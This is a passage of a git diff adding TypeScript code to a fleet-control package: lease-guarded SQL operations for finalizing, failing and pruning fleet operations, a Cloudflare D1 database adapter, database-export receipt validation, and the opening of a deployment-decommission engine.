+        () => `AND (SELECT COUNT(*) FROM ${ROW_TABLE}
+          WHERE account_id = ? AND operation_id = ? AND row_kind = ?) = ?`,
+      )
+      .join('\n');
+    const completeSql = input.requireAllItemsComplete
+      ? `AND (SELECT COUNT(*) FROM ${ROW_TABLE}
+          WHERE account_id = ? AND operation_id = ? AND row_kind = 'item'
+            AND json_extract(payload, '$.status') = 'complete')
+          = json_extract(?, '$.progress.itemCount')`
+      : '';
+    await this.#db.batch([
+      {
+        sql: `UPDATE ${OPERATION_TABLE}
+          SET op_record = json_set(?, '$.terminalAtMs', ${DB_NOW_MS}),
+              terminal_at_ms = ${DB_NOW_MS}
+          WHERE account_id = ? AND operation_id = ?
+            AND operation_kind = ?
+            AND json_extract(op_record, '$.state') = 'running'
+            AND json_extract(op_record, '$.progress.revision') = ?
+            AND ${LEASE_EXISTS_SQL}
+            ${countSql}
+            ${completeSql}
+          RETURNING operation_id`,
+        bindings: [
+          JSON.stringify(runRecord),
+          this.#accountId,
+          operationId,
+          kind,
+          expectedRevision,
+          ...this.#leaseBindings(kind, token),
+          ...counts.flatMap(([rowKind, count]) => [
+            this.#accountId,
+            operationId,
+            rowKind,
+            count,
+          ]),
+          ...(input.requireAllItemsComplete
+            ? [this.#accountId, operationId, JSON.stringify(runRecord)]
+            : []),
+        ],
+      },
+      {
+        sql: `UPDATE ${HEAD_TABLE}
+          SET active_operation_id = NULL
+          WHERE account_id = ? AND operation_kind = ?
+            AND active_operation_id = ?
+            AND ${LEASE_EXISTS_SQL}
+            AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE}
+              WHERE account_id = ? AND operation_id = ?
+                AND operation_kind = ?
+                AND json_extract(op_record, '$.state') = 'finalized'
+                AND json_extract(op_record, '$.progress.revision') = ?)
+          RETURNING account_id`,
+        bindings: [
+          this.#accountId,
+          kind,
+          operationId,
+          ...this.#leaseBindings(kind, token),
+          this.#accountId,
+          operationId,
+          kind,
+          runRecord.progress.revision,
+        ],
+      },
+    ]);
+    // This batch is a probe: a lost response makes RETURNING inconclusive, so
+    // the operation row and head are the only authority.
+    const persisted = await this.readOperationById(operationId);
+    if (!persisted) throw unknownOperation(operationId);
+    if (persisted.kind !== kind) {
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    }
+    if (
+      persisted.state !== 'finalized' ||
+      persisted.progress.revision !== runRecord.progress.revision
+    ) {
+      if (persisted.progress.revision === expectedRevision) {
+        throw finalizeMismatch(operationId);
+      }
+      throw operationConflict(operationId);
+    }
+    const head = await this.#db.query(
+      `SELECT active_operation_id FROM ${HEAD_TABLE}
+        WHERE account_id = ? AND operation_kind = ?`,
+      [this.#accountId, kind],
+    );
+    if (head[0]?.active_operation_id === operationId) {
+      // Head release is the only legal repair. The repair UPDATE carries
+      // the lease guard (one writer per account+kind); every operation-
+      // record UPDATE guards state='running', so a terminal record cannot
+      // be updated, and prune — the only path that removes one — runs
+      // under this same lease; the head row is pinned by
+      // active_operation_id. The preceding readback proved state and
+      // revision.
+      await this.#db.query(
+        `UPDATE ${HEAD_TABLE}
+          SET active_operation_id = NULL
+          WHERE account_id = ? AND operation_kind = ?
+            AND active_operation_id = ?
+            AND ${LEASE_EXISTS_SQL}
+          RETURNING account_id`,
+        [
+          this.#accountId,
+          kind,
+          operationId,
+          ...this.#leaseBindings(kind, token),
+        ],
+      );
+    }
+    return persisted;
+  }
+
+  async #failOperation(
+    kind: FleetOperationKind,
+    token: string,
+    input: Parameters<FleetOperationLease['failOperation']>[0],
+  ): Promise<void> {
+    const { operationId, expectedRevision } = input;
+    const runRecord = fleetOperationRunRecordFromUnknown(input.runRecord);
+    if ((input.updateRows?.length ?? 0) > 1) {
+      throw new Error(FLEET_OPERATION_SINGLE_UPDATE_ROW_MESSAGE);
+    }
+    const updateRows = (input.updateRows ?? []).map((row) =>
+      stagedRowForKindFromUnknown(kind, row),
+    );
+    if (updateRows.some((row) => row.rowKind !== 'item')) {
+      throw new FleetOperationStateError();
+    }
+    const updateKeys = updateRows.map((row) => `${row.rowKind}:${row.ordinal}`);
+    if (new Set(updateKeys).size !== updateKeys.length) {
+      throw new FleetOperationStateError();
+    }
+    const payloads = updateRows.map((row) => ({
+      row,
+      bytes: serializedPayload(row),
+    }));
+    if (
+      runRecord.operationId !== operationId ||
+      runRecord.kind !== kind ||
+      runRecord.state !== 'failed' ||
+      runRecord.progress.failure === undefined ||
+      !fleetOperationSafeInteger(expectedRevision) ||
+      runRecord.progress.revision !== expectedRevision + 1
+    ) {
+      throw operationConflict(operationId);
+    }
+    const guardBindings = this.#operationGuardBindings(
+      kind,
+      token,
+      operationId,
+      expectedRevision,
+    );
+    const exactRows = updateRows
+      .map(
+        () => `AND EXISTS (SELECT 1 FROM ${ROW_TABLE}
+          WHERE account_id = ? AND operation_id = ?
+            AND row_kind = ? AND ordinal = ? AND payload = ?)`,
+      )
+      .join('\n');
+    await this.#db.batch([
+      ...payloads.map(({ row, bytes }) => ({
+        sql: `UPDATE ${ROW_TABLE}
+          SET payload = ?
+          WHERE account_id = ? AND operation_id = ?
+            AND row_kind = ? AND ordinal = ?
+            AND EXISTS (SELECT 1 ${OPERATION_GUARD_SQL})
+          RETURNING row_kind, ordinal`,
+        bindings: [
+          bytes,
+          this.#accountId,
+          operationId,
+          row.rowKind,
+          row.ordinal,
+          ...guardBindings,
+        ],
+      })),
+      {
+        sql: `UPDATE ${OPERATION_TABLE}
+          SET op_record = json_set(?, '$.terminalAtMs', ${DB_NOW_MS}),
+              terminal_at_ms = ${DB_NOW_MS}
+          WHERE account_id = ? AND operation_id = ?
+            AND operation_kind = ?
+            AND json_extract(op_record, '$.state') = 'running'
+            AND json_extract(op_record, '$.progress.revision') = ?
+            AND ${LEASE_EXISTS_SQL}
+            ${exactRows}
+          RETURNING operation_id`,
+        bindings: [
+          JSON.stringify(runRecord),
+          this.#accountId,
+          operationId,
+          kind,
+          expectedRevision,
+          ...this.#leaseBindings(kind, token),
+          ...payloads.flatMap(({ row, bytes }) => [
+            this.#accountId,
+            operationId,
+            row.rowKind,
+            row.ordinal,
+            bytes,
+          ]),
+        ],
+      },
+      {
+        sql: `UPDATE ${HEAD_TABLE}
+          SET active_operation_id = NULL
+          WHERE account_id = ? AND operation_kind = ?
+            AND active_operation_id = ?
+            AND ${LEASE_EXISTS_SQL}
+            AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE}
+              WHERE account_id = ? AND operation_id = ?
+                AND operation_kind = ?
+                AND json_extract(op_record, '$.state') = 'failed'
+                AND json_extract(op_record, '$.progress.revision') = ?)
+          RETURNING account_id`,
+        bindings: [
+          this.#accountId,
+          kind,
+          operationId,
+          ...this.#leaseBindings(kind, token),
+          this.#accountId,
+          operationId,
+          kind,
+          runRecord.progress.revision,
+        ],
+      },
+    ]);
+    const persisted = await this.readOperationById(operationId);
+    if (!persisted) throw unknownOperation(operationId);
+    if (persisted.kind !== kind) {
+      throw new Error(fleetOperationOtherKindMessage(operationId));
+    }
+    if (
+      persisted.state !== 'failed' ||
+      persisted.progress.revision !== runRecord.progress.revision
+    ) {
+      throw operationConflict(operationId);
+    }
+    for (const { row, bytes } of payloads) {
+      const stored = await this.#db.query(
+        `SELECT payload FROM ${ROW_TABLE}
+          WHERE account_id = ? AND operation_id = ?
+            AND row_kind = ? AND ordinal = ?`,
+        [this.#accountId, operationId, row.rowKind, row.ordinal],
+      );
+      // A missing target row is a conflict, as it is on the convergence path:
+      // the row can still be staged under a later revision, while divergence
+      // reports the unrecoverable case of landed bytes that differ.
+      if (!stored[0]) throw operationConflict(operationId);
+      if (rowString(stored[0], 'payload') !== bytes) {
+        throw operationDivergence(operationId);
+      }
+    }
+  }
+
+  async readOperationRowsPage(
+    input: Readonly<{
+      operationId: string;
+      rowKind: FleetOperationRowKind;
+      afterOrdinal?: number;
+      limit: number;
+    }>,
+  ): Promise<
+    Readonly<{ rows: readonly FleetOperationStagedRow[]; done: boolean }>
+  > {
+    const limit = fleetOperationPageLimit(input.limit);
+    if (!FLEET_OPERATION_ROW_KINDS.includes(input.rowKind)) {
+      throw new Error(
+        `rowKind must be one of ${FLEET_OPERATION_ROW_KINDS.join(', ')}`,
+      );
+    }
+    if (
+      input.afterOrdinal !== undefined &&
+      (!fleetOperationSafeInteger(input.afterOrdinal) ||
+        input.afterOrdinal >= Number.MAX_SAFE_INTEGER)
+    ) {
+      throw new Error(
+        'afterOrdinal must be a non-negative safe integer below Number.MAX_SAFE_INTEGER',
+      );
+    }
+    await this.#ensureSchema();
+    const operation = await this.#operationRow(input.operationId);
+    if (!operation) throw unknownOperation(input.operationId);
+    const kind = rowString(operation, 'operation_kind') as FleetOperationKind;
+    assertPersistedKind(kind);
+    const stored = await this.#db.query(
+      `SELECT row_kind, ordinal, payload FROM ${ROW_TABLE}
+        WHERE account_id = ? AND operation_id = ? AND row_kind = ?
+          AND ordinal > ?
+        ORDER BY ordinal ASC
+        LIMIT ?`,
+      [
+        this.#accountId,
+        input.operationId,
+        input.rowKind,
+        input.afterOrdinal ?? -1,
+        limit + 1,
+      ],
+    );
+    const rows = stored.slice(0, limit).map((row) =>
+      stagedRowForKindFromUnknown(kind, {
+        rowKind: rowString(row, 'row_kind'),
+        ordinal: rowNumber(row, 'ordinal'),
+        payload: parseJson(rowString(row, 'payload')),
+      }),
+    );
+    return { rows, done: stored.length <= limit };
+  }
+
+  async pruneFleetOperations(
+    input: Readonly<{
+      kind: FleetOperationKind;
+      limit: number;
+    }>,
+  ): Promise<Readonly<{ deleted: number; releasedPins: number }>> {
+    assertLimit(input.limit);
+    const inventoryStore = this.#inventoryStore;
+    if (input.kind === 'audit' && inventoryStore === undefined) {
+      throw new FleetOperationStoreCapabilityError();
+    }
+    return this.#withAccountOperationLeaseInternal(
+      input.kind,
+      async (lease, token) => {
+        const candidates = await this.#db.query(
+          `SELECT operation_id, op_record, terminal_at_ms
+          FROM ${OPERATION_TABLE} o
+          WHERE o.account_id = ? AND o.operation_kind = ?
+            AND o.terminal_at_ms IS NOT NULL
+            AND json_extract(o.op_record, '$.state') IN ('finalized','failed')
+            AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE}
+              WHERE account_id = o.account_id
+                AND operation_kind = o.operation_kind
+                AND active_operation_id = o.operation_id)
+            AND NOT (
+              json_extract(o.op_record, '$.state') = 'finalized'
+              AND o.terminal_at_ms = (SELECT MAX(latest.terminal_at_ms)
+                FROM ${OPERATION_TABLE} latest
+                WHERE latest.account_id = o.account_id
+                  AND latest.operation_kind = o.operation_kind
+                  AND json_extract(latest.op_record, '$.state') = 'finalized')
+            )
+          ORDER BY o.terminal_at_ms ASC, o.operation_id ASC
+          LIMIT ?`,
+          [this.#accountId, input.kind, input.limit],
+        );
+        let deleted = 0;
+        let releasedPins = 0;
+        for (const candidate of candidates) {
+          const operationId = rowString(candidate, 'operation_id');
+          if (input.kind === 'audit') {
+            const record = fleetAuditOperationRecordFromUnknown(
+              parseJson(rowString(candidate, 'op_record')),
+            );
+            // tsc cannot narrow the captured store across the compound
+            // guard above, so this restates it rather than casting.
+            if (inventoryStore === undefined) {
+              throw new FleetOperationStoreCapabilityError();
+            }
+            // Lock order is operation KIND lease outer, inventory ACCOUNT lease
+            // inner, and is never acquired in reverse by production callers.
+            await inventoryStore.releasePin({
+              generation: record.progress.generation,
+              pinnedBy: fleetAuditPinOwner(operationId),
+            });
+            releasedPins += 1;
+          }
+          await lease.assertOwned();
+          deleted += await this.#deletePruneCandidate(
+            input.kind,
+            token,
+            operationId,
+          );
+        }
+        return { deleted, releasedPins };
+      },
+    );
+  }
+
+  async #deletePruneCandidate(
+    kind: FleetOperationKind,
+    token: string,
+    operationId: string,
+  ): Promise<number> {
+    // Protection is re-checked inside the delete batch, so a candidate that
+    // becomes active or latest-finalized after selection still survives.
+    const guard = `AND EXISTS (SELECT 1 FROM ${OPERATION_TABLE} o
+      WHERE o.account_id = ? AND o.operation_id = ?
+        AND o.operation_kind = ? AND o.terminal_at_ms IS NOT NULL
+        AND json_extract(o.op_record, '$.state') IN ('finalized','failed')
+        AND NOT EXISTS (SELECT 1 FROM ${HEAD_TABLE}
+          WHERE account_id = o.account_id
+            AND operation_kind = o.operation_kind
+            AND active_operation_id = o.operation_id)
+        AND NOT (
+          json_extract(o.op_record, '$.state') = 'finalized'
+          AND o.terminal_at_ms = (SELECT MAX(latest.terminal_at_ms)
+            FROM ${OPERATION_TABLE} latest
+            WHERE latest.account_id = o.account_id
+              AND latest.operation_kind = o.operation_kind
+              AND json_extract(latest.op_record, '$.state') = 'finalized')
+        ))
+      AND ${LEASE_EXISTS_SQL}`;
+    const guardBindings = [
+      this.#accountId,
+      operationId,
+      kind,
+      ...this.#leaseBindings(kind, token),
+    ];
+    const result = await this.#db.batch([
+      {
+        sql: `DELETE FROM ${ROW_TABLE}
+          WHERE account_id = ? AND operation_id = ?
+          ${guard}
+          RETURNING ordinal`,
+        bindings: [this.#accountId, operationId, ...guardBindings],
+      },
+      {
+        sql: `DELETE FROM ${OPERATION_TABLE}
+          WHERE account_id = ? AND operation_id = ?
+          ${guard}
+          RETURNING operation_id`,
+        bindings: [this.#accountId, operationId, ...guardBindings],
+      },
+    ]);
+    return (result.at(-1) ?? []).length;
+  }
+}
diff --git a/packages/fleet-control/src/d1-fleet-state-database.ts b/packages/fleet-control/src/d1-fleet-state-database.ts
new file mode 100644
index 00000000..e18c8e72
--- /dev/null
+++ b/packages/fleet-control/src/d1-fleet-state-database.ts
@@ -0,0 +1,128 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type {
+  D1Database,
+  D1PreparedStatement,
+} from '@cloudflare/workers-types';
+import type { FleetStateDatabase } from './state-store.js';
+
+type Row = Readonly<Record<string, unknown>>;
+
+function isRecord(value: unknown): value is Row {
+  return typeof value === 'object' && value !== null && !Array.isArray(value);
+}
+
+function isUnknownArray(value: unknown): value is readonly unknown[] {
+  return Array.isArray(value);
+}
+
+function validateAcknowledgement(
+  value: unknown,
+  message: string,
+): asserts value is Row & Readonly<{ success: true; meta: Row }> {
+  // Extra acknowledgement and meta fields stay accepted as D1 adds fields;
+  // a defined `error` beside `success: true` is contradictory and refused.
+  if (
+    !isRecord(value) ||
+    value.success !== true ||
+    value.error !== undefined ||
+    !isRecord(value.meta)
+  ) {
+    throw new Error(message);
+  }
+}
+
+function validateEnvelope(
+  value: unknown,
+  message: string,
+): asserts value is Readonly<{
+  success: true;
+  meta: Row;
+  results: readonly Row[];
+}> {
+  validateAcknowledgement(value, message);
+  if (!isUnknownArray(value.results) || !value.results.every(isRecord)) {
+    throw new Error(message);
+  }
+}
+
+/**
+ * Adapts a Workers `D1Database` binding to the state store's database port.
+ * It validates acknowledgement and envelope shapes and leaves binding errors
+ * unchanged, preserving state-store duplicate-column cause traversal and
+ * migration-ledger causes.
+ * The same instance also satisfies `MigrationDatabase`: that port's batch
+ * result is `unknown`, and its `readonly string[]` bindings fit these
+ * `readonly unknown[]` parameters.
+ */
+export class D1FleetStateDatabase implements FleetStateDatabase {
+  readonly #binding: D1Database;
+
+  constructor(binding: D1Database) {
+    if (
+      typeof binding?.prepare !== 'function' ||
+      typeof binding.batch !== 'function'
+    ) {
+      throw new Error(
+        'D1FleetStateDatabase requires the Workers D1Database prepare/batch interface',
+      );
+    }
+    this.#binding = binding;
+  }
+
+  async query(
+    sql: string,
+    bindings: readonly unknown[] = [],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    const envelope: unknown = await this.#statement(sql, bindings).all();
+    validateEnvelope(envelope, 'D1 query returned a malformed result');
+    return envelope.results;
+  }
+
+  /**
+   * Validates the acknowledgement because workerd's D1 shim does not
+   * backfill `results` for `run()`, and this method does not read rows.
+   */
+  async execute(sql: string, bindings: readonly unknown[] = []): Promise<void> {
+    const envelope: unknown = await this.#statement(sql, bindings).run();
+    validateAcknowledgement(envelope, 'D1 execute returned a malformed result');
+  }
+
+  async batch(
+    statements: readonly Readonly<{
+      sql: string;
+      bindings?: readonly unknown[];
+    }>[],
+  ): Promise<readonly (readonly Readonly<Record<string, unknown>>[])[]> {
+    // The port's result is one entry per statement, so an empty list has no
+    // statement to send.
+    if (statements.length === 0) return [];
+    const envelopes: unknown = await this.#binding.batch(
+      statements.map(({ sql, bindings = [] }) =>
+        this.#statement(sql, bindings),
+      ),
+    );
+    if (!isUnknownArray(envelopes)) {
+      throw new Error('D1 returned a malformed batch response');
+    }
+    if (envelopes.length !== statements.length) {
+      throw new Error(
+        `D1 returned ${envelopes.length} batch results for ${statements.length} statements`,
+      );
+    }
+    const results: (readonly Row[])[] = [];
+    for (const [index, envelope] of envelopes.entries()) {
+      validateEnvelope(
+        envelope,
+        `D1 batch statement ${index} returned a malformed result`,
+      );
+      results.push(envelope.results);
+    }
+    return results;
+  }
+
+  #statement(sql: string, bindings: readonly unknown[]): D1PreparedStatement {
+    const prepared = this.#binding.prepare(sql);
+    return bindings.length > 0 ? prepared.bind(...bindings) : prepared;
+  }
+}
diff --git a/packages/fleet-control/src/database-export-store.ts b/packages/fleet-control/src/database-export-store.ts
new file mode 100644
index 00000000..8c72a691
--- /dev/null
+++ b/packages/fleet-control/src/database-export-store.ts
@@ -0,0 +1,278 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  DatabaseExportIntegrity,
+  DatabaseExportReceiptIdentity,
+} from './types.js';
+
+const DATABASE_ID =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/u;
+const OPERATION_ID =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const MAX_AUTHORITY_UTF8_BYTES = 4_096;
+const MAX_ESCAPED_IDENTITY_BYTES = MAX_AUTHORITY_UTF8_BYTES * 6 + 512;
+const FUNCTION_BIND = Function.prototype.bind;
+const PROMISE_THEN = Promise.prototype.then;
+const STRUCTURED_CLONE = structuredClone;
+const TEXT_ENCODER_ENCODE = TextEncoder.prototype.encode;
+const textEncoder = new TextEncoder();
+const receiptErrors = new WeakSet<Error>();
+
+type DatabaseExportReceiptErrorKind =
+  | 'authority-mismatch'
+  | 'capability-malformed'
+  | 'collision'
+  | 'identity-malformed'
+  | 'integrity-malformed'
+  | 'key-too-long'
+  | 'readback'
+  | 'source-mismatch';
+
+const RECEIPT_ERROR_MESSAGES = {
+  'authority-mismatch':
+    'database export receipt authority differs from configured authority',
+  'capability-malformed': 'database export receipt capability is malformed',
+  collision:
+    'database export receipt collision differs from the committed export',
+  'identity-malformed': 'database export receipt identity is malformed',
+  'integrity-malformed': 'database export receipt integrity is malformed',
+  'key-too-long': 'database export receipt key exceeds 1024 UTF-8 bytes',
+  readback: 'database export receipt readback failed',
+  'source-mismatch':
+    'database export receipt source integrity differs from the streamed export',
+} as const satisfies Record<DatabaseExportReceiptErrorKind, string>;
+
+export interface CapturedDatabaseExportReceiptCapability {
+  readonly authority: string;
+  readonly method: (...input: never[]) => unknown;
+}
+
+export function databaseExportReceiptError(
+  kind: DatabaseExportReceiptErrorKind,
+): Error {
+  const error = new Error(RECEIPT_ERROR_MESSAGES[kind]);
+  receiptErrors.add(error);
+  return error;
+}
+
+export function isDatabaseExportReceiptError(error: unknown): error is Error {
+  return (
+    typeof error === 'object' &&
+    error !== null &&
+    receiptErrors.has(error as Error)
+  );
+}
+
+function utf8Length(value: string): number {
+  return Reflect.apply(TEXT_ENCODER_ENCODE, textEncoder, [value]).byteLength;
+}
+
+export function databaseExportReceiptAuthorityFromUnknown(
+  value: unknown,
+): string {
+  if (
+    typeof value !== 'string' ||
+    value.length === 0 ||
+    utf8Length(value) > MAX_AUTHORITY_UTF8_BYTES
+  ) {
+    throw databaseExportReceiptError('capability-malformed');
+  }
+  return value;
+}
+
+export function captureDatabaseExportReceiptCapability(
+  receiver: object,
+  readPair: () => readonly [unknown, unknown],
+): CapturedDatabaseExportReceiptCapability | undefined {
+  let authorityValue: unknown;
+  let methodValue: unknown;
+  try {
+    const pair = readPair();
+    authorityValue = pair[0];
+    methodValue = pair[1];
+  } catch {
+    throw databaseExportReceiptError('capability-malformed');
+  }
+  if (authorityValue === undefined && methodValue === undefined) {
+    return undefined;
+  }
+  const authority = databaseExportReceiptAuthorityFromUnknown(authorityValue);
+  if (typeof methodValue !== 'function') {
+    throw databaseExportReceiptError('capability-malformed');
+  }
+  try {
+    return {
+      authority,
+      method: Reflect.apply(FUNCTION_BIND, methodValue, [receiver]) as (
+        ...input: never[]
+      ) => unknown,
+    };
+  } catch {
+    throw databaseExportReceiptError('capability-malformed');
+  }
+}
+
+function strictReceiptObject(
+  value: unknown,
+  errorKind: 'identity-malformed' | 'integrity-malformed',
+  maximumScalarBytes: number,
+): Record<string, unknown> {
+  const error = () => databaseExportReceiptError(errorKind);
+  const cloned = cloneBoundedPlainData(value, {
+    maxDepth: 1,
+    maxNodes: 5,
+    maxScalarBytes: maximumScalarBytes,
+    maxSerializedBytes: maximumScalarBytes + 256,
+    error,
+  });
+  if (typeof cloned !== 'object' || cloned === null || Array.isArray(cloned)) {
+    throw error();
+  }
+  try {
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw error();
+  }
+  return cloned as Record<string, unknown>;
+}
+
+export function databaseExportReceiptIdentityFromUnknown(
+  value: unknown,
+  expectedAuthority: string,
+): DatabaseExportReceiptIdentity {
+  const authority =
+    databaseExportReceiptAuthorityFromUnknown(expectedAuthority);
+  const cloned = strictReceiptObject(
+    value,
+    'identity-malformed',
+    MAX_ESCAPED_IDENTITY_BYTES,
+  );
+  const keys = Object.keys(cloned);
+  if (
+    keys.length !== 4 ||
+    !keys.includes('version') ||
+    !keys.includes('authority') ||
+    !keys.includes('databaseId') ||
+    !keys.includes('operationId') ||
+    cloned.version !== 1 ||
+    typeof cloned.authority !== 'string' ||
+    cloned.authority.length === 0 ||
+    utf8Length(cloned.authority) > MAX_AUTHORITY_UTF8_BYTES ||
+    typeof cloned.databaseId !== 'string' ||
+    !DATABASE_ID.test(cloned.databaseId) ||
+    typeof cloned.operationId !== 'string' ||
+    !OPERATION_ID.test(cloned.operationId)
+  ) {
+    throw databaseExportReceiptError('identity-malformed');
+  }
+  if (cloned.authority !== authority) {
+    throw databaseExportReceiptError('authority-mismatch');
+  }
+  return Object.freeze({
+    version: 1,
+    authority,
+    databaseId: cloned.databaseId,
+    operationId: cloned.operationId,
+  });
+}
+
+export function databaseExportIntegrityFromUnknown(
+  value: unknown,
+): DatabaseExportIntegrity {
+  const cloned = strictReceiptObject(value, 'integrity-malformed', 512);
+  const keys = Object.keys(cloned);
+  if (
+    keys.length !== 2 ||
+    !keys.includes('size') ||
+    !keys.includes('sha256') ||
+    typeof cloned.size !== 'number' ||
+    !Number.isSafeInteger(cloned.size) ||
+    cloned.size < 1 ||
+    typeof cloned.sha256 !== 'string' ||
+    !SHA256.test(cloned.sha256)
+  ) {
+    throw databaseExportReceiptError('integrity-malformed');
+  }
+  return Object.freeze({ size: cloned.size, sha256: cloned.sha256 });
+}
+
+export function captureDatabaseExportIntegrityPromise(
+  value: unknown,
+): Promise<DatabaseExportIntegrity> {
+  let fulfill!: (box: Readonly<{ value: unknown }>) => void;
+  let reject!: (reason: unknown) => void;
+  const owned = new Promise<Readonly<{ value: unknown }>>(
+    (resolve, rejectPromise) => {
+      fulfill = resolve;
+      reject = rejectPromise;
+    },
+  );
+  try {
+    Reflect.apply(PROMISE_THEN, value, [
+      (resolved: unknown) => fulfill({ value: resolved }),
+      () => reject(databaseExportReceiptError('integrity-malformed')),
+    ]);
+  } catch {
+    throw databaseExportReceiptError('integrity-malformed');
+  }
+  const normalized = Reflect.apply(PROMISE_THEN, owned, [
+    (box: Readonly<{ value: unknown }>) =>
+      databaseExportIntegrityFromUnknown(box.value),
+    () => {
+      throw databaseExportReceiptError('integrity-malformed');
+    },
+  ]) as Promise<DatabaseExportIntegrity>;
+  void Reflect.apply(PROMISE_THEN, normalized, [undefined, () => undefined]);
+  return normalized;
+}
+
+export function cancelBodyWithoutAwait(body: unknown, reason: unknown): void {
+  try {
+    if (
+      (typeof body !== 'object' || body === null) &&
+      typeof body !== 'function'
+    ) {
+      return;
+    }
+    const cancel = Reflect.get(body, 'cancel');
+    if (typeof cancel !== 'function') return;
+    const cancellation = Reflect.apply(cancel, body, [reason]);
+    try {
+      void Reflect.apply(PROMISE_THEN, cancellation, [
+        undefined,
+        () => undefined,
+      ]);
+    } catch {}
+  } catch {}
+}
+
+export interface DurableDatabaseExportStore {
+  /**
+   * Canonical immutable storage authority. Present together with
+   * `writeReceipt`, absent together when operation receipts are unsupported.
+   */
+  readonly receiptAuthority?: string;
+  write(input: {
+    readonly databaseId: string;
+    readonly fileName: string;
+    readonly body: ReadableStream<Uint8Array>;
+    readonly contentLength?: number;
+  }): Promise<{
+    readonly location: string;
+    readonly size: number;
+    readonly sha256: string;
+  }>;
+  /**
+   * Streams one operation-scoped receipt while the eager source-integrity
+   * promise settles. Reusing the exact identity converges only on exact bytes;
+   * a differing identity or committed export is preserved and refused.
+   */
+  writeReceipt?(input: {
+    readonly identity: DatabaseExportReceiptIdentity;
+    readonly body: ReadableStream<Uint8Array>;
+    readonly contentLength?: number;
+    readonly expectedIntegrity: Promise<DatabaseExportIntegrity>;
+  }): Promise<DatabaseExportIntegrity & { readonly location: string }>;
+}
diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts
new file mode 100644
index 00000000..e01bb02a
--- /dev/null
+++ b/packages/fleet-control/src/decommission-advance.ts
@@ -0,0 +1,1933 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { PENDING_ARTIFACT_VERSION } from './active-route.js';
+import {
+  advanceApplicationR2Deletion,
+  applicationBindingTopology,
+  applicationR2Bindings,
+  assertApplicationR2EmptyBeforeDecommission,
+  assertApplicationR2ReservationIdentity,
+} from './application-bindings.js';
+import {
+  assertWorkerAttachmentProviderRequestBudget,
+  initialWorkerAttachmentScan,
+  parseWorkerAttachmentScanProgress,
+  WORKER_ATTACHMENT_EVIDENCE_BOUND,
+} from './cloudflare-worker-attachment-scan-state.js';
+import { captureDatabaseExportReceiptCapability } from './database-export-store.js';
+import {
+  databaseExportFromUnknown,
+  databaseExportReceiptIdentity,
+  reconcilePersistedDatabaseFromCallbacks,
+  settleDatabaseDeletionUnderBarrier,
+} from './decommission-database.js';
+import {
+  classifyDecommissionAdvanceToken,
+  DecommissionAdvanceIntentError,
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenOperationError,
+  normalizeDecommissionAdvanceIntent,
+  parseDecommissionAdvanceToken,
+} from './decommission-intent.js';
+import { deploymentSpecDigest } from './spec-digest.js';
+import { cloneBoundedPlainData } from './strict-plain-data.js';
+import type {
+  ApplicationR2Resource,
+  DatabaseReference,
+  DecommissionAdvanceIntent,
+  DecommissionAdvanceToken,
+  DecommissionAttachmentProgress,
+  DecommissionAttachmentPurpose,
+  DecommissionAttachmentScanEvidence,
+  DecommissionBlockedAttachment,
+  DecommissionResult,
+  DeploymentSpec,
+  ExternalMutationFence,
+  ExternalReleaseSnapshot,
+  FleetRecord,
+  FleetStateLease,
+  FleetStateStore,
+  NormalDecommissionLifecyclePhase,
+  ProvisioningBackend,
+} from './types.js';
+import {
+  assertNoActiveCleanup,
+  effectiveLifecyclePhase,
+  isPlatformCatalogRecord,
+} from './types.js';
+import { validateDeploymentSpec } from './validation.js';
+
+const ACTION_ERROR = 'decommission advance action is malformed';
+const RESULT_ERROR = 'bounded decommission attachment result is malformed';
+const D1_APPLICATION_RESOURCES_ERROR =
+  'normal decommission D1 work requires every application R2 resource to be deleted';
+const ATTACHMENT_STRING_BYTE_BOUND = 4_096;
+const RESULT_PLAIN_DATA_DEPTH_BOUND = 64;
+const RESULT_PLAIN_DATA_NODE_BOUND = 8_192;
+const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024;
+const SHA256 = /^[0-9a-f]{64}$/u;
+const STRUCTURED_CLONE = structuredClone;
+const NORMAL_ENTRY_PHASES = new Set<NormalDecommissionLifecyclePhase>([
+  'publishing',
+  'ready',
+  'migrating',
+  'rolling-back',
+  'decommissioning',
+  'traffic-removed',
+  'credentials-revoked',
+  'worker-deleted',
+  'platform-credentials-revoked',
+  'platform-resources-deleted',
+  'application-resources-deleting',
+  'application-resources-deleted',
+]);
+
+/** Caller command for one bounded normal-decommission invocation. */
+export type DecommissionAdvanceAction =
+  | Readonly<{
+      /** Create a new operation, or read an existing operation's authority. */
+      kind: 'start';
+    }>
+  | Readonly<{
+      /** Advance a strictly parsed current token; stale returns current state. */
+      kind: 'continue';
+      token: unknown;
+    }>
+  | Readonly<{
+      /** Explicitly restart an exact current blocked operation. */
+      kind: 'restart-blocked';
+      token: unknown;
+    }>;
+
+/** Inputs for one lease-scoped bounded action group. */
+export interface AdvanceDecommissionDeploymentOptions {
+  readonly backend: ProvisioningBackend;
+  readonly store: FleetStateStore;
+  readonly spec: DeploymentSpec;
+  /** Typed command; its token remains an unknown strict-codec boundary. */
+  readonly action: DecommissionAdvanceAction;
+  /** Provider-fetch attempt budget for each bounded attachment scan, integer 9..1,000. */
+  readonly maxProviderRequests: number;
+  /**
+   * Call-local cancellation, never persisted. This engine forwards it to the
+   * bounded attachment scan, which is where it is honoured; the engine takes
+   * no step of its own on it.
+   */
+  readonly signal?: AbortSignal;
+  /** Timestamp source; called once for each accepted write. */
+  readonly clock?: () => number;
+  /** Called exactly once only when a genuinely new operation starts. */
+  readonly randomUUID: () => string;
+}
+
